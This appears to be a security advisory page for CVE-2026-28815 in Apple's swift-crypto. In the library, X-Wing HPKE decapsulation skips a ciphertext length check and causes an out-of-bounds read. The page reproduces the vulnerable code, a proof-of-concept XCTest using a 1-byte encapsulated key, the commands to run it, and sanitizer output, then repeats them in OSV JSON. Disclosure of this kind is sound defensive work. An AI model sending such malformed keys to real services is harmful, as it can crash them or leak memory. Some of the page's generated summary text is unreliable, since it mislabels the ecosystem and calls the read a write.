CVE-2026-28815: Swift Crypto X-Wing HPKE Decapsulation Accepts Malformed Vulnerability

HIGH
Advisory Identifier: GHSA-9m44-rr2w-ppp7
CWE-787
Published
Advisory Summary

CVE-2026-28815 is a HIGH x-wing hpke decapsulation accepts malformed vulnerability (CWE-787: Out-of-bounds Write) affecting Swift Crypto libraries in the SwiftURL ecosystem. The issue involves x-wing hpke decapsulation accepts malformed ciphertext length. Remediation is available by upgrading affected packages to version 4.3.1.

CVE-2026-28815 at a Glance

CVE Identifier CVE-2026-28815
GHSA Identifier GHSA-9m44-rr2w-ppp7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-787: Out-of-bounds Write
Affected Product Swift Crypto
Package Ecosystem SwiftURL
Published Date
Last Updated

How to Fix CVE-2026-28815

To remediate this vulnerability, upgrade all affected Swift Crypto dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

swift-crypto fixed: 4.3.1
Upgrade swift-crypto to 4.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for swift-crypto

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-28815, inspect your project dependencies for Swift Crypto:

inspect dependencies for swift-crypto

Analyze the terminal output to locate any version of Swift Crypto in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-787: Out-of-bounds Write, where the product writes data past the end, or before the beginning, of the intended buffer. In Swift Crypto, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error. ### Details The `decapsulate` function of `OpenSSLXWingPrivateKeyImpl` does not perform a length check before passing the `encapsulated` data to the C API. ```swift func decapsulate(_ encapsulated: Data) throws -> SymmetricKey { try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in let rc = CCryptoBoringSSL_XWING_decap( sharedSecretBytes.baseAddress, encapsulatedSecretBytes.baseAddress, &self.privateKey ) guard rc == 1 else { throw CryptoKitError.internalBoringSSLError() } count = Int(XWING_SHARED_SECRET_BYTES) } } } ``` The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes. ```c #define XWING_CIPHERTEXT_BYTES 1120 OPENSSL_EXPORT int XWING_decap( uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES], const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES], const struct XWING_private_key *private_key); ``` Since `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument: ```swift init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws { let sharedSecret = try skR.decapsulate(enc) self.encapsulated = enc self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite) } ``` ### PoC This PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior. ```swift //===----------------------------------------------------------------------===// // // PoC for X-Wing malformed ciphertext-length decapsulation: // X-Wing decapsulation accepts malformed ciphertext length and forwards it to C. // // This test is intentionally unsafe and is expected to crash (or trip ASan) // on vulnerable builds when run. // //===----------------------------------------------------------------------===// #if canImport(FoundationEssentials) import FoundationEssentials #else import Foundation #endif import XCTest #if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API // Skip tests that require @testable imports of CryptoKit. #else #if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API @testable import CryptoKit #else @testable import Crypto #endif final class XWingMalformedEncapsulationPoCTests: XCTestCase { func testShortEncapsulatedKeyHPKERecipientInit() throws { if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) { let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256 let skR = try XWingMLKEM768X25519.PrivateKey.generate() let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...) _ = try HPKE.Recipient( privateKey: skR, ciphersuite: ciphersuite, info: Data(), encapsulatedKey: malformedEncapsulatedKey ) XCTFail("Unexpectedly returned from malformed decapsulation path") } } } #endif // CRYPTO_IN_SWIFTPM ``` #### Steps 1. Add the PoC XCTest above to the test suite. 2. Run the PoC normally to verify that malformed input is not rejected by length: ```bash swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit ``` 3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access: ```bash swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit ``` #### Results ##### Normal run The PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length. ```text Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started ... failed - Unexpectedly returned from malformed decapsulation path ``` ##### AddressSanitizer run The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain. ```text ERROR: AddressSanitizer: dynamic-stack-buffer-overflow READ of size 1 ... SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ==...==ABORTING ``` ### Impact A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. Reported by Cantina.

CVE-2026-28815 Affected Swift Crypto Versions

1 component(s)
Fixed Versions:
4.3.1
Product / Package Ecosystem Affected Versions Fixed Version
swift-crypto
SwiftURL
≥ 4.0.0
< 4.3.1
4.3.1

References

Frequently Asked Questions

What is CVE-2026-28815?
CVE-2026-28815 is a security vulnerability in Swift Crypto involving X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length under CWE-787: Out-of-bounds Write.
Which Swift Crypto versions are affected?
Affected versions include releases prior to 4.3.1 across affected packages: swift-crypto.
What version fixes CVE-2026-28815?
Upgrading to 4.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is swift-crypto affected?
Yes, swift-crypto is affected in releases prior to 4.3.1. Upgrade your dependency to 4.3.1 or later.
What CWE is associated with CVE-2026-28815?
CVE-2026-28815 is classified under CWE-787: Out-of-bounds Write (The product writes data past the end, or before the beginning, of the intended buffer.).
How can I check SwiftURL dependencies for CVE-2026-28815?
Run the dependency tree command: 'inspect dependencies for swift-crypto'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9m44-rr2w-ppp7",
  "modified" : "2026-04-03T03:39:38Z",
  "published" : "2026-04-03T03:39:38Z",
  "aliases" : [ "CVE-2026-28815" ],
  "summary" : "Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length",
  "details" : "### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Details\n\nThe `decapsulate` function of `OpenSSLXWingPrivateKeyImpl`  does not perform a length check before passing the `encapsulated` data to the C API.\n\n```swift\nfunc decapsulate(_ encapsulated: Data) throws -> SymmetricKey {\n    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n            let rc = CCryptoBoringSSL_XWING_decap(\n                sharedSecretBytes.baseAddress,\n                encapsulatedSecretBytes.baseAddress,\n                &self.privateKey\n            )\n            guard rc == 1 else {\n                throw CryptoKitError.internalBoringSSLError()\n            }\n            count = Int(XWING_SHARED_SECRET_BYTES)\n        }\n    }\n}\n```\n\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.\n\n```c\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n    const struct XWING_private_key *private_key);\n```\n\nSince `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:\n\n```swift\ninit<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n    let sharedSecret = try skR.decapsulate(enc)\n    self.encapsulated = enc\n    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\n```\n\n### PoC\n\nThis PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```\n\n#### Steps\n\n1. Add the PoC XCTest above to the test suite.\n2. Run the PoC normally to verify that malformed input is not rejected by length:\n   ```bash\n   swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:\n   ```bash\n   swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\n   ```\n\n#### Results\n\n##### Normal run\n\nThe PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.\n\n```text\nTest Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started\n... failed - Unexpectedly returned from malformed decapsulation path\n```\n\n##### AddressSanitizer run\n\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.\n\n```text\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\n```\n\n### Impact\n\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.\n\nReported by Cantina.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "swift-crypto"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28815"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apple/swift-crypto"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-787" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T03:39:38Z",
    "nvd_published_at" : "2026-04-03T03:16:18Z"
  }
}